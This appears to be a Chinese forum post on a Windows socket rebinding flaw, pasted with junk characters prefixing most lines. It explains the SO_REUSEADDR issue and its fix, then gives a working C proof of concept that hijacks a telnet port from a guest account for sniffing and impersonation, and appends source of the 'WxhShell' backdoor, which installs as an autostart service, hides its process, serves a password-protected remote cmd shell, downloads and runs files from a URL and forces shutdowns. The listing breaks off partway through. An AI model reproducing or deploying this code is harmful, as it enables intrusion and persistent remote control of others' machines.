在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
:e1BQj`R s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
S<"T:Y& 1DPgiIG~ saddr.sin_family = AF_INET;
6j9P`#Lt |V#h
"s saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Yhu
6QyRV 9l9h*Pgt bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
bd],fNgJ dZ'hTzw~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_&s37A&\ O4xV "\ 这意味着什么?意味着可以进行如下的攻击:
`4E6&&E+S vCE1R]^A.] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~D1.opj3 A%S6&!I:( 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_U<sz{6 NsYeg&>` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
v^_OX$=, iT#)i3 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
C"w>U "NqB_?DT 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
{J-kcD!bz` "]|I;I"b 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
6X{RcX]/ .s7Cr0^k,| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
sG{hUsPa [hU5ooB #include
VY }?Nb<& #include
Y/Yp+W6n #include
.0$$H"t #include
.<8kDyim DWORD WINAPI ClientThread(LPVOID lpParam);
> D:(HWL int main()
dY>oj<9 {
mup<%@7m WORD wVersionRequested;
NIn# DWORD ret;
Qx,jUL#2 WSADATA wsaData;
Dk&@AjJga BOOL val;
PS ,@ \ SOCKADDR_IN saddr;
G|5M~zP SOCKADDR_IN scaddr;
p]z
* int err;
XBi}hT SOCKET s;
Gb]t%\ SOCKET sc;
nRKh|B) int caddsize;
u
Ey>7I HANDLE mt;
}r`m(z$z DWORD tid;
&sJZSrk| wVersionRequested = MAKEWORD( 2, 2 );
M7rVH\:[- err = WSAStartup( wVersionRequested, &wsaData );
Ic_>[E?k if ( err != 0 ) {
(h;4irfX printf("error!WSAStartup failed!\n");
/$v0Rq9 return -1;
Ik_u34U }
$ K>.|\ saddr.sin_family = AF_INET;
y#-mj,e OmO/x //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
9Yg=4>#$ 3=(Gb saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(gd+-o4 saddr.sin_port = htons(23);
FF]xwptrx if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-z"=d<@ {
tY=sl_ printf("error!socket failed!\n");
U#3Y3EdF< return -1;
gp
Aqz Y }
~3YN;St- val = TRUE;
MH;5gC@
` //SO_REUSEADDR选项就是可以实现端口重绑定的
FOz7W if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
wGfU@!m {
Q9v
OY8 printf("error!setsockopt failed!\n");
"p<B| return -1;
u*#j;Xc }
s>8;At- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=?Y%w%2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+AVYypql8K //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
A1{ 7g<k6 \bJ,8J1C if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4,D$% . {
W10=SM} ret=GetLastError();
e RiP C printf("error!bind failed!\n");
,A`.u \f(: return -1;
qF9z@a }
)@"iWQ3K listen(s,2);
. e' vc while(1)
G 2L?j {
L8"0o 0- caddsize = sizeof(scaddr);
]F:5-[V# //接受连接请求
+r0ItqkM sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Z]H`s{3 if(sc!=INVALID_SOCKET)
?2D1gjr {
D@:w/W mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
C(( 7 if(mt==NULL)
F2QX ^* {
&gdtI printf("Thread Creat Failed!\n");
U&W{;myt break;
y_bb//IAG }
zNe>fZ
}
6wk/IJ` CloseHandle(mt);
pF~[ }
*`
}Rt closesocket(s);
I7!+~uX WSACleanup();
/Yk4%ZJ{ return 0;
US<bM@[ }
p
BU,"Yy& DWORD WINAPI ClientThread(LPVOID lpParam)
b(<#n6a}\ {
q}vz]L&o SOCKET ss = (SOCKET)lpParam;
[~cb&6|M SOCKET sc;
>>}4b2U unsigned char buf[4096];
f|eUpf%) SOCKADDR_IN saddr;
sdkKvo.y0 long num;
!)1r{u DWORD val;
7g'jg7 DWORD ret;
G&i<&.i //如果是隐藏端口应用的话,可以在此处加一些判断
B&J;yla6`d //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.L;M-`^ saddr.sin_family = AF_INET;
)HPt(Ck saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
O6nCu saddr.sin_port = htons(23);
[T 8BQn! if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[ 0?*J<d {
>f7;45i printf("error!socket failed!\n");
Kh{C$b return -1;
G&P[n8Z$ }
W(
O)J$j val = 100;
M<'AM4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
fB~BVYi {
ruMS5OqM ret = GetLastError();
]xhZJ~"@u return -1;
!JZ)6mtlr }
d@o1<Q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`~${fs{-`/ {
ivy+e-) ret = GetLastError();
l/|bU9o /u return -1;
E1p?v! }
2D,EWk/4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
fTn {
eC+S'Jgf printf("error!socket connect failed!\n");
2"Oj*
; closesocket(sc);
%`r Z]^H closesocket(ss);
N_#QS}H return -1;
OMaG*fb= }
x'Uv;mGo while(1)
.Y;ljQ {
3ya_47D //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ZbS*zKEW //如果是嗅探内容的话,可以再此处进行内容分析和记录
g=8}G$su{% //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)?@X{AN& num = recv(ss,buf,4096,0);
/5@4}m>Z@ if(num>0)
:Taequk send(sc,buf,num,0);
P)VysYb? else if(num==0)
%!_okf break;
IhIPy~Hgt num = recv(sc,buf,4096,0);
GwHp@_> if(num>0)
:nk $?5ib send(ss,buf,num,0);
u19d!#g else if(num==0)
Mp8BilH-T break;
lO?dI=}] }
0taopDi;d closesocket(ss);
aTJs.y-I~ closesocket(sc);
?V3kIb return 0 ;
} v#Tm }
+mc0:e{WF 1trk 4g^nhJP$ ==========================================================
Iu<RwB[#Q 58T<~u7 下边附上一个代码,,WXhSHELL
MiB"CcU u$A*Vsmr ==========================================================
|&O7F;/_ z:
x|;Ps! #include "stdafx.h"
*|Cmm>z"7 :?LUv:G #include <stdio.h>
Ne6]?\Z #include <string.h>
!1g2' #include <windows.h>
n\l$R!zr #include <winsock2.h>
C7|zDJ_ #include <winsvc.h>
EX]LH({?+L #include <urlmon.h>
5~AK+6Za r-Nv<oH; #pragma comment (lib, "Ws2_32.lib")
~7$NVKE #pragma comment (lib, "urlmon.lib")
RtE2%d$JT =D 1%-ym #define MAX_USER 100 // 最大客户端连接数
s>i`=[qFc #define BUF_SOCK 200 // sock buffer
t-, =sV
#define KEY_BUFF 255 // 输入 buffer
I-=H;6w7 cjTV~(i'4A #define REBOOT 0 // 重启
U9uy(KOW #define SHUTDOWN 1 // 关机
:cx}I VR/*h% #define DEF_PORT 5000 // 监听端口
}ioHSkCD 6xFvu7L_c; #define REG_LEN 16 // 注册表键长度
?8{x/y: #define SVC_LEN 80 // NT服务名长度
:E$<!q %T OYU(k // 从dll定义API
$-tgd<2h typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
y'5
y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
'a}<|Et. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
82mKI+9&" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
//[zUn ENmfbJ4d~ // wxhshell配置信息
v6Vd V.BI struct WSCFG {
h x_,>\@ int ws_port; // 监听端口
2swHJ.d\ char ws_passstr[REG_LEN]; // 口令
B~[}E]WEK int ws_autoins; // 安装标记, 1=yes 0=no
H<gC{:S char ws_regname[REG_LEN]; // 注册表键名
Bu:h_sV D char ws_svcname[REG_LEN]; // 服务名
W7k0!Grrl char ws_svcdisp[SVC_LEN]; // 服务显示名
s>A!Egmo char ws_svcdesc[SVC_LEN]; // 服务描述信息
;QRnZqSv char ws_passmsg[SVC_LEN]; // 密码输入提示信息
/FP;Hsw% int ws_downexe; // 下载执行标记, 1=yes 0=no
aGUKpYF char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
`i'72\( char ws_filenam[SVC_LEN]; // 下载后保存的文件名
SCXH{8SS >4c7r~\k };
7Nw}
} v>e%5[F // default Wxhshell configuration
}ZP;kM$g struct WSCFG wscfg={DEF_PORT,
A7|CG[wZ "xuhuanlingzhe",
BCrX>Pp}r 1,
9|;"+jlt "Wxhshell",
v2vPfb "Wxhshell",
QT!!KTf "WxhShell Service",
?1+JBl~/d "Wrsky Windows CmdShell Service",
J\WUBt-M "Please Input Your Password: ",
@|N'V"*MT 1,
mX4u#$xs: "
http://www.wrsky.com/wxhshell.exe",
Z= 'DV1A$, "Wxhshell.exe"
Sr9)i8x{ };
oNkASAd V>8)1)dF // 消息定义模块
\wyn char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Y,?!" char *msg_ws_prompt="\n\r? for help\n\r#>";
CG`s@5y>5 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
__F?iRrCM char *msg_ws_ext="\n\rExit.";
eU[f6OGqC char *msg_ws_end="\n\rQuit.";
f{} zqCK char *msg_ws_boot="\n\rReboot...";
@Lp;p$G` char *msg_ws_poff="\n\rShutdown...";
?0ezr[`. char *msg_ws_down="\n\rSave to ";
Aqc
Cb[1r fmDn1N-bG char *msg_ws_err="\n\rErr!";
2l7Sbs7 char *msg_ws_ok="\n\rOK!";
/b44;U`v5- hI&ugdf char ExeFile[MAX_PATH];
2+Y8b:: int nUser = 0;
M;14s*g HANDLE handles[MAX_USER];
& o2F4 int OsIsNt;
2jMV6S9 72YL
SERVICE_STATUS serviceStatus;
"*ot:;I SERVICE_STATUS_HANDLE hServiceStatusHandle;
yB>5p]$P H
3e(- // 函数声明
M[;N6EJH int Install(void);
Qh3V[br int Uninstall(void);
QG|KZ8uO int DownloadFile(char *sURL, SOCKET wsh);
vf|lF9@U int Boot(int flag);
igoUKDNiQ- void HideProc(void);
0<,Q7onDD: int GetOsVer(void);
+IRr&J*P int Wxhshell(SOCKET wsl);
pPC_ub void TalkWithClient(void *cs);
0:,8Ce int CmdShell(SOCKET sock);
X2Z
E9b int StartFromService(void);
[(hB%x_" int StartWxhshell(LPSTR lpCmdLine);
Oq7R^t`b oj8_e xx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Sxj _gn VOID WINAPI NTServiceHandler( DWORD fdwControl );
86]})H S%+$ // 数据结构和表定义
YTQom!O SERVICE_TABLE_ENTRY DispatchTable[] =
)Mtw9[ {
UL46%MFQ\ {wscfg.ws_svcname, NTServiceMain},
(Wj2%*NT {NULL, NULL}
kLr6j-X };
yNVmTb9mF &_DRrp0CN // 自我安装
gypE~@ int Install(void)
TAkM-iyH] {
sRM3G]nUr char svExeFile[MAX_PATH];
?|&plf| HKEY key;
\Y EV
5
strcpy(svExeFile,ExeFile);
\z/_vzz4 34@f(^d+^ // 如果是win9x系统,修改注册表设为自启动
bZ/4O*B if(!OsIsNt) {
Cb{n4xKW6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
fnZa IV=H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8-A *Jc RegCloseKey(key);
r*n_#&-7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:3FJe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
75O-%9lFF RegCloseKey(key);
S.!0~KR:U return 0;
_n[4+S*v( }
v,\2$q/ }
JOR ?xCc }
*zf@J' else {
BFCF+hU^6R _?5$ST@5 // 如果是NT以上系统,安装为系统服务
2'R&K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
EmaVd+Sw if (schSCManager!=0)
;+) M~2 = {
4. &t SC_HANDLE schService = CreateService
Y|s?9'z (
cY}Nr#%s@U schSCManager,
q ;@:,^ wscfg.ws_svcname,
k 5<[N2D|! wscfg.ws_svcdisp,
#4WA2EW SERVICE_ALL_ACCESS,
efK)6T^p SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
D92#&,KD SERVICE_AUTO_START,
L4)@lmd3 SERVICE_ERROR_NORMAL,
5]Wkk~a svExeFile,
=,*4:TU NULL,
}]qx " NULL,
5`ma#_zk|f NULL,
xJ;DkPh NULL,
?~mw NULL
1I'ep\`"X );
aS7[s6 if (schService!=0)
" <GDOL {
jh3LD6|s} CloseServiceHandle(schService);
P]Hcg|& CloseServiceHandle(schSCManager);
JG2)-x;9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
b&Dc DX strcat(svExeFile,wscfg.ws_svcname);
O_PKS$sz{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
C$Y pk\p RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
~}SOd<n)| RegCloseKey(key);
UUxDW3K return 0;
..ig jc#UF }
N"i'[!H% }
aZe[Nos CloseServiceHandle(schSCManager);
yM3]<~m }
Qi_De
'@ }
G1Qc\mp IZ2c<B5& return 1;
R+c
{Pl }
6j]pJ]F6 ty8\@l // 自我卸载
t/6t{*-w int Uninstall(void)
=uZOpeviQ {
}tH$/-qnJE HKEY key;
J,8Wo6 $X.X_ if(!OsIsNt) {
EW* 's( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
PV2cZ/ RegDeleteValue(key,wscfg.ws_regname);
jLULf+8& RegCloseKey(key);
hL\gI(B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
HiBw==vlV RegDeleteValue(key,wscfg.ws_regname);
KcGM=z?: RegCloseKey(key);
+["t@Q4IQ return 0;
VfJbexYT }
N XwQvm;q }
GC{)3)_ t }
0]v:Ix else {
erG;M! 9\ 0G(T'Z1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
);LkEXC_' if (schSCManager!=0)
1U"Fk3 {
@K 8sNPK SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
@wWro?s'p if (schService!=0)
J!Kk7!^| {
Y.O/~ af if(DeleteService(schService)!=0) {
zSYh\g" CloseServiceHandle(schService);
zc QFIP CloseServiceHandle(schSCManager);
`-l,`7e' return 0;
q@;z((45 }
''9FB5 CloseServiceHandle(schService);
+4k Bd<0Y }
~Wq[H CloseServiceHandle(schSCManager);
J?ljqA}i }
bDLPA27 }
}gE?ms4$ oG! S(95 return 1;
Az_s"}G }
3pSkk Q\H_lB // 从指定url下载文件
{DPobyvwFk int DownloadFile(char *sURL, SOCKET wsh)
u`l1
zMk {
>?b9Xh HRESULT hr;
g-c\; char seps[]= "/";
HvWnPh1l char *token;
Ns6Vf5T. char *file;
83*"58 char myURL[MAX_PATH];
:y)'_p *l/ char myFILE[MAX_PATH];
<y+8\m
S[o_$@| strcpy(myURL,sURL);
q?x.P2 token=strtok(myURL,seps);
*QzoBpO< while(token!=NULL)
1*_wJ {
fJ[(zjk file=token;
kaxAIk8l token=strtok(NULL,seps);
jgLCs)=5hV }
r5!I|E @_&@M~ u GetCurrentDirectory(MAX_PATH,myFILE);
su~_l[6 strcat(myFILE, "\\");
^O
cM)Z6h strcat(myFILE, file);
_v2K1 1 send(wsh,myFILE,strlen(myFILE),0);
Y'NQt?h send(wsh,"...",3,0);
Sm2 |I6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Nl_Sgyx,\ if(hr==S_OK)
,B>Rc# return 0;
;>o}/h else
O!!Ne'I return 1;
*g$egipfF X<4h"W6 }
gi;#?gps ~eH+*U|\|M // 系统电源模块
tA+ c int Boot(int flag)
mZVYgJQ[ {
/cBQE=]6 HANDLE hToken;
Ju$vuEO TOKEN_PRIVILEGES tkp;
sa%2,e' utq*<,^ if(OsIsNt) {
C LhD[/Fo OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
UE4zmIq LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
h' OLj#H tkp.PrivilegeCount = 1;
X0X!:gX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
F=C8U$'S AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
gt3;Xi if(flag==REBOOT) {
>pKu
G# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
.!kqIx*3 return 0;
|okS7.|IX }
,c:Fa)- else {
0zg\thL if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
'|r('CIBN/ return 0;
CqVh9M.ah }
T,h,)|:I^ }
P7n+@L$ else {
|qS<{WZ!h if(flag==REBOOT) {
J7R+|GTcx if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
:F:<{]oG_ return 0;
ms'!E) }
9?)r0`:# else {
<$s G]l!\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
fL7ym,? return 0;
:U`8s# }
6g@@V=mf }
[{F8+a^ oLcOp.8h[ return 1;
L 6){wQ%c }
hS4Ljyeg +%%FT#ce // win9x进程隐藏模块
NQ$tQ#chd void HideProc(void)
/IM5#M5~ {
sa8Sy& X" ]p~QdUR( HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Do}mCv if ( hKernel != NULL )
S5ofe]tS@ {
KOWx P47b pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
c?L_n=B ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
i]Or'L0c FreeLibrary(hKernel);
': Gk~ }
6=]%Y !7SZZz return;
,[IN9W }
SE+K"faKQ :0Nd4hA // 获取操作系统版本
\M/XM6:UG4 int GetOsVer(void)
vv,OBL~{ {
0(VQwGC[ OSVERSIONINFO winfo;
*7hr3x winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
UA3%I8gu_ GetVersionEx(&winfo);
%p?u
^ rq if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
='=\!md return 1;
2~+Iu+ else
?6@Y"5
z3g return 0;
e[}R1/!L }
,R$n I*mf_ F|X-|Co // 客户端句柄模块
}5^j08 int Wxhshell(SOCKET wsl)
j'i-XIs {
sbOa]
5] SOCKET wsh;
[#H$@g|CT struct sockaddr_in client;
Zs!)w9y&V DWORD myID;
WF<0QH ^ MkT"> while(nUser<MAX_USER)
6.|f iQs] {
vyT$IdV2 int nSize=sizeof(client);
CqDMq ! wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
HPs$R[ if(wsh==INVALID_SOCKET) return 1;
5:SfPAx w}pFa76rm handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
6/9 A' !4C if(handles[nUser]==0)
0V*L",9M closesocket(wsh);
zw^jIg$ else
^1U2&S nUser++;
V0R;q }
6sl*Ko[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Kx 6_Vp ,%X~/V return 0;
X\\WQxj }
;<%~g8:XL ,WbO8#z+ // 关闭 socket
elXY*nt8h void CloseIt(SOCKET wsh)
+\9Y;Ny {
5B| iBS l closesocket(wsh);
Gs2.}lz nUser--;
0o[p<<c* ExitThread(0);
z7F~;IB*u }
'6u;KIG I'G$: GX // 客户端请求句柄
AEm?g$a void TalkWithClient(void *cs)
;5-Sn(G {
kc `Q-
N} %VsuGA SOCKET wsh=(SOCKET)cs;
<pRb#G" char pwd[SVC_LEN];
J\XYUs char cmd[KEY_BUFF];
)DuOo83n[" char chr[1];
ws4a(1 int i,j;
5#+!|S[PK 5SFeJBS while (nUser < MAX_USER) {
0*W=u-|s6 %WHue if(wscfg.ws_passstr) {
f;#hcRSH if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
y!fV+S, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Z2`(UbG} //ZeroMemory(pwd,KEY_BUFF);
o
<8L,u(U i=0;
$zq`hI!1 while(i<SVC_LEN) {
9)s=%dL I(ds]E
;_E // 设置超时
Z6SM7?d fd_set FdRead;
z^S=ji U++ struct timeval TimeOut;
;id0|x FD_ZERO(&FdRead);
K=VYRY FD_SET(wsh,&FdRead);
VWd=7 TimeOut.tv_sec=8;
r8+{HknB; TimeOut.tv_usec=0;
mZJ"e,AY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
hT9fqH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
fLAOA9 c3]ZU^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
RvvK`}/6 pwd
=chr[0]; Q&^ti)vB
if(chr[0]==0xd || chr[0]==0xa) { ]H) x
pwd=0; K[PIw}V$?:
break; \MQ|(
} Rer\='
i++; UyBI;k^]
} B|gyr4]
%O>ehIerD
// 如果是非法用户,关闭 socket #0"Fw$Pc
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _kl.zw%
} 0Z8K +,'!
,*8}TIS(s
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yb56nd
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $S|bD$e
6",1JH,;p
while(1) { <i`Ipj
=l&7~
ZeroMemory(cmd,KEY_BUFF); y} AkF2:
mu04TPj
// 自动支持客户端 telnet标准 ]wWN~G)2lV
j=0; 0RN]_z$;H
while(j<KEY_BUFF) { z%(m:/N70
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1XUsr;Wz
cmd[j]=chr[0]; 0sto9n3
if(chr[0]==0xa || chr[0]==0xd) { _a"5[sG
cmd[j]=0; :84fd\It4
break; f"q='B9_T\
} _n@#Lufx
j++; J7/"8S_#N
} 1om :SHw
+'Pf|S
// 下载文件 p]:5S_$
if(strstr(cmd,"http://")) { #GT/Q3{C
send(wsh,msg_ws_down,strlen(msg_ws_down),0); u) y6 $
if(DownloadFile(cmd,wsh)) J,%v`A ~N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yYwZZa1
else :o?On/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IQf:aX
} Z{xm(^'i
else { ,]\L\ V
s6%% /|
switch(cmd[0]) { ?<bByxa
SwpS6
// 帮助 8-3]Bm!
case '?': { 9^QiFgJy
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iyAeR!`
break; 9'faH
} @v\Osp t=
// 安装 <xOXuve
case 'i': { ({i}EC7{
if(Install()) QI'ul e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vb az#I
else 1[OCoj o<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w2_$>z
break; ~cQ./G4
} FM$XMD0=
// 卸载 x;dyF_*;
case 'r': { C;];4[XR
if(Uninstall()) d5T M_C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b1JXC=*@
else p;zV4uSv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0eUK'
break; =v]\{.
} eG*<=.E
// 显示 wxhshell 所在路径 Y|FF
;[
case 'p': { q}p&<k
char svExeFile[MAX_PATH]; yaza
strcpy(svExeFile,"\n\r"); P~`gWGC}
strcat(svExeFile,ExeFile); @?lmho?
send(wsh,svExeFile,strlen(svExeFile),0); dc.9:u*w
break; C?m2R(RF
} w$8Su:g=
// 重启 m1H_kJ
case 'b': { jcD_<WSe
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~x^E kE
if(Boot(REBOOT)) 2kb<;Eh`G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kN_
i0~y@-
else { 8Yc'4v#}
closesocket(wsh); 1Kszpt(Ld
ExitThread(0); d"o5uo
} q{~59{Fha
break; >? >@&A/
} r0t4\d_&
// 关机 ^=`7]E [p
case 'd': { 1=:=zyEEo
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l{ <+V)
if(Boot(SHUTDOWN)) 7.mY@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "`HkAW4GZa
else { 4Bg"b/kF
closesocket(wsh); V,:^@ 7d
ExitThread(0); ~A^E_
} $2uk;&"?A=
break; @i2"+_}*
} /iURP-rl
// 获取shell kT)[<`p
case 's': { 36"-cGNr{
CmdShell(wsh); S"hA@j
closesocket(wsh); )tYu3*'
ExitThread(0); " E+V>V+
break; xe?!UCUb@
} VF[$hs
// 退出 -([
ipg(r
case 'x': { ~+DPq|-O
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j"=F\S&!
CloseIt(wsh); !2L?8oP-z
break; X.}i9a
6
} /c2|
*"@X
// 离开 JC6?*R
case 'q': { d8D0 28d
send(wsh,msg_ws_end,strlen(msg_ws_end),0); "[h9hoN
closesocket(wsh); t Sibzl~
WSACleanup(); "y~tAg
exit(1); fghw\\]3
break; )&/ecx"2Q
} oP>+2.i
} $fifx>!
} 7p1f*N[X
zI-]K,!
// 提示信息 >_XC
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F(h
jP
} (4]M7b[S$
} :Kq]b@X
9r2l~zE
return; |m{u]9
} zm>^!j
!
rfo7\'yk
// shell模块句柄 m&S *S_c
int CmdShell(SOCKET sock) V[DiN~H
{ /3Y\s&y
STARTUPINFO si; !ZxK+Xqx[
ZeroMemory(&si,sizeof(si)); pW&K=,7|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qAI%6d
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T'6MAxEZUq
PROCESS_INFORMATION ProcessInfo; zTBf.A;e7
char cmdline[]="cmd"; /EP
RgRX
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *Aqd["q
return 0; L(RI4d
} W kP`qD3
L2\<iJA}c
// 自身启动模式 +H{TV#+r
int StartFromService(void) q4MR9ig1E_
{ {,NF'x4$
typedef struct jouA
]E
{ Q DVk7ks
DWORD ExitStatus; r7ebF JEf
DWORD PebBaseAddress; bW-sTGjRD
DWORD AffinityMask; |hl:!j.t
DWORD BasePriority; vKO/hZBh
ULONG UniqueProcessId; sP:nTpTsC
